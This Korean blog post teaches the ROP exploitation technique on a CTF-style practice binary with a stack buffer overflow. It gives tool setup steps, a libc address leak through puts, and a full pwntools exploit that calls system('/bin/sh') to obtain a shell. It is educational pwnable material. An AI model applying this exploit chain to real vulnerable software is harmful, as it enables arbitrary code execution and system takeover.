1. 소개
Pwn 분야를 처음 접하게 되면 가장 많이 어렵다고 느끼는 부분인 Pwnable의 꽃 ROP에 대해서 알아보자
선행 학습 요소
- Calling Convention
- Buffer Overflow
- Stack Memory
- Cumputer Architecture
ROP란?
- Return Oriented Programming(이하 ROP)은 가젯이라고 불리는 코드 조각들을 사용하여 공격자가 임의의 코드를 실행하고 프로그램의 흐름을 바꾸는 기초 기법이다.
- 말그대로 공격자가 원하는 대로 실행 흐름을 바꿀 수 있기 때문에 공격이 가능할 경우 엄청난 피해를 일으킬 수 있다.
How to use?
- 필요한 프로그램들로는 gdb(pwndbg, peda, gef), pwntools, python 등의 프로그램이 사용된다.
이 글에선 X86-64 Architecture를 기준으로만 설명한다.
2. Tool install
Environ: Ubuntu 22.04
GDB는 Ubuntu 환경에 기본적으로 설치되어 있다.
Pwndbg Download
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
- setup.sh 파일이 자동적으로 gdb를 pwndbg plugin으로 설정해준다.
Pwntools Download
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
python3 -m pip install --upgrade ropgadget
- pwntools은 python의 모듈이기 때문에 python을 먼저 설치한다.
- 이후 python의 설치 프로그램 pip를 사용하여 pwntools을 설치한다.
- gadget 찾기에 필요한 ropgadget도 설치한다.
설치 확인
- pwndbg
root@LAPTOP-IAMFG96H:/# gdb -q
pwndbg: loaded 148 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
GDB's follow-fork-mode parameter can be used to set whether to trace parent or child after fork() calls
pwndbg>
- 기본적으로 gdb 실행시 pwndbg로 실행된다.
- -q 옵션은 잡다한 메시지 출력을 없애준다.
- pwntool
root@LAPTOP-IAMFG96H:/# python3
Python 3.10.6 (main, May 29 2023, 11:10:38) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>>
- python3 실행 후 from pwn import * 로 pwntools 모듈을 불러온다.
- 에러가 발생하지 않으면 성공적으로 설치된 것이다.
- ROPgadget
root@LAPTOP-IAMFG96H:/# ROPgadget --binary
usage: ROPgadget [-h] [-v] [-c] [--binary <binary>] [--opcode <opcodes>]
[--string <string>] [--memstr <string>] [--depth <nbyte>]
[--only <key>] [--filter <key>] [--range <start-end>]
[--badbytes <byte>] [--rawArch <arch>] [--rawMode <mode>]
[--rawEndian <endian>] [--re <re>] [--offset <hexaddr>]
[--ropchain] [--thumb] [--console] [--norop] [--nojop]
[--callPreceded] [--nosys] [--multibr] [--all] [--noinstr]
[--dump] [--silent] [--align ALIGN] [--mipsrop <rtype>]
ROPgadget: error: argument --binary: expected one argument
3. 공격 원리
공격에 들어가기 앞서, 우리는 찾은 가젯 들과 libc 주소, seccomp 필터링, 스택의 상황에 따라 어떻게 구성할 것인지 시나리오를 짜는 것이 중요하다.
예를 들어, 다음과 같은 코드가 있다고 하자
checksec rop_x64 # 보호기법 확인
[*] '/test/rop_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
구조는 간단하다. 메인 함수 안에 크기가 0x40인 buf가 존재하고 buf에 0x400 만큼 입력 받기 때문에 큰 크기의 버퍼 오버플로우가 일어나게 된다.
시나리오
- 우리가 알 수 있는 부분은 NX를 제외한 보호기법이 걸려있지 않고, 자동으로 플래그 혹은 쉘을 획득할 수 있는 함수가 없기 때문에 ROP chain을 구성하여 플래그를 읽어오거나 쉘을 획득하는 방향으로 가야한다.
- 플래그를 읽어오는 ORW(open read write) 방식은 체인이 길어지기 때문에 쉘을 획득하는 방식으로 해보자.
- 먼저, system 혹은 execve와 같은 함수가 바이너리 내에 없기 때문에 libc base를 구하고 system("/bin/sh")을 실행하는 방식으로 진행해야 한다.
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0000000000400590 _init
0x00000000004005c0 puts@plt
0x00000000004005d0 write@plt
0x00000000004005e0 alarm@plt
0x00000000004005f0 read@plt
0x0000000000400600 __libc_start_main@plt
0x0000000000400610 signal@plt
0x0000000000400620 setvbuf@plt
0x0000000000400630 exit@plt
0x0000000000400640 __gmon_start__@plt
0x0000000000400650 _start
0x0000000000400680 deregister_tm_clones
0x00000000004006c0 register_tm_clones
0x0000000000400700 __do_global_dtors_aux
0x0000000000400720 frame_dummy
0x0000000000400746 alarm_handler
0x000000000040075e initialize
0x00000000004007ba main
0x0000000000400820 __libc_csu_init
0x0000000000400890 __libc_csu_fini
0x0000000000400894 _fini
$ ROPgadget --binary basic_rop_x64
...
0x0000000000400883 : pop rdi ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
...
마침 우리에게는 rdi, rsi 에 인자를 넣고 ret하는 가젯과 puts@plt가 존재한다.
이를 이용하여 puts의 got를 읽어와 보자
from pwn import *
context.log_level = "debug" # 전송된 값과 받은 값들을 터미널에 출력해준다.
p = process("./basic_x64")
e = ELF("./basic_x64")
libc = ELF("./libc.so.6")
puts_got = e.got['puts']
puts_plt = e.plt['puts']
prdi = 0x0000000000400883
prsi_r15 = 0x0000000000400881
payload = b'\x41' * 0x40 # buf를 아무 문자열로 채워준다.
payload += b'\x42' * 0x8 # SFP를 아무 문자열로 채워준다.
payload += p64(prdi) + p64(puts_got)
payload += p64(prsi_r15) + p64(0) + p64(0)
payload += p64(puts_plt)
p.send(payload)
p.interactive()
$ python3 solve.py
...
[DEBUG] Received 0x47 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 50 9e 8e 0d b5 7f 0a │P···│···│
00000047
...
[*] Got EOF while reading in interactive
50 9e 8e 0d b5 7f, x86-64 아키텍처의 little endian 방식으로 puts의 got 주소가 출력 된것을 알 수 있다.
그럼 이 got 주소를 저장해서 출력 까지 해보자
# 이전 p.send(payload) 이후 추가
p.recvn(0x40)
puts_got = u64(p.recvn(6).ljust(8, b'\x00'))
libc_base = puts_got - libc.sym['puts']
print("puts_got:", hex(puts_got))
print("libc_base:", hex(libc_base))
puts_got: 0x7f0eaa9c2e50
libc_base: 0x7f0eaa941f80
정상적으로 leak과 출력이 된 것을 볼 수 있다.
근데 한 가지 이상한 점이 있다. libc_base 주소는 하위 12bit 가 0으로 끝나야 한다. 왜 000이 아닌 f80 인가?
- 해당 basic_x64 문제는 리눅스 버전이 다른 환경이기 때문에 libc puts 주소의 오프셋도 다른것이다.
- 이러한 이유로 로컬에선 정상적으로 실행이 안되는 반면, 서버에 접속하였을땐 잘 되는 경우도 빈번 하다.
- 로컬 환경에서 계속 진행하기 위해 로컬의 libc 파일을 가져와 사용하도록 하겠다.
puts_got: 0x7f07fc51ee50
libc_base: 0x7f07fc49e000
(libc 파일을 바꾸니 정상적으로 leak이 진행 됐다.)
4. Exploit
여기까지 필요한 준비과정은 끝, 이제 우리는 세 가지 방법 중 하나를 선택해야 한다.
- 쓰기 권한이 있는 임의 주소(ex. bss, stack) 에 /bin/sh 문자열을 저장하고 주소를 rdi 인자로 system 호출
- libc 라이브러리 내에 있는 /bin/sh 문자열 주소를 rdi 인자로 system 호출
- one_gadget 사용 (one_gadget은 추후 다루겠다.)
여기선 2번의 방법을 택하여 익스플로잇을 진행하겠다.
from pwn import *
context.log_level = "debug" # 전송된 값과 받은 값들을 터미널에 출력해준다.
p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
puts_got = e.got['puts']
puts_plt = e.plt['puts']
read_plt = e.plt['read']
prdi = 0x0000000000400883
prsi_r15 = 0x0000000000400881
payload = b'\x41' * 0x40 # buf를 아무 문자열로 채워준다.
payload += b'\x42' * 0x8 # SFP를 아무 문자열로 채워준다.
payload += p64(prdi) + p64(puts_got)
payload += p64(prsi_r15) + p64(0) + p64(0)
payload += p64(puts_plt)
payload += p64(e.sym['main']) # 입력을 다시 한번 받기위해 main으로 return
p.send(payload)
p.recvn(0x40)
puts_got = u64(p.recvn(6).ljust(8, b'\x00'))
libc_base = puts_got - libc.sym['puts']
print("puts_got:", hex(puts_got))
print("libc_base:", hex(libc_base))
system = libc_base + libc.sym['system'] # system 주소 구하기
binsh = libc_base + list(libc.search(b'/bin/sh'))[0] # /bin/sh 문자열 주소 구하기
payload = b'\x41' * 0x48
payload += p64(prdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()
$ python3 solve.py
...
[*] Switching to interactive mode
[DEBUG] Received 0x40 bytes:
b'A' * 0x40
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x27 bytes:
b'uid=0(root) gid=0(root) groups=0(root)\n'
uid=0(root) gid=0(root) groups=0(root)
$
- 정상적으로 쉘을 획득한 모습이다.
5. 마지막으로
유의할 점
- 간혹 정상적인 exploit 코드임에도 불구하고 쉘이 따지지 않는 경우가 있다, 이 경우 가젯들 중 ret; 만 있는 가젯을 system 함수 호출 전 사용해주면 해결이 되는 경우가 있다.
- 이는 스택 정렬에 의한 에러로 인한 함수 호출이 안되는 경우며, ret 가젯을 통하여 스택 정렬을 진행 해준 후 system을 호출하면 정상적으로 되는 경우가 많다.
잡기술
- 만약 rdx가 충분한 크기를 가졌다면 위 페이로드에서 main으로 한 번더 돌아갈 필요 없이 patial relro이기 때문에 got overwrite 후, bss에 "/bin/sh"을 입력하고 got overwrite한 함수를 호출하는 방식으로 한 번에 페이로드를 짤 수도 있다.
이상으로 ROP 기법에 관한 정리글을 마칩니다. 감사합니다.
'Pwnable' 카테고리의 다른 글
[Pwnable] Syscall_table 정리 (0) | 2023.10.06 |
---|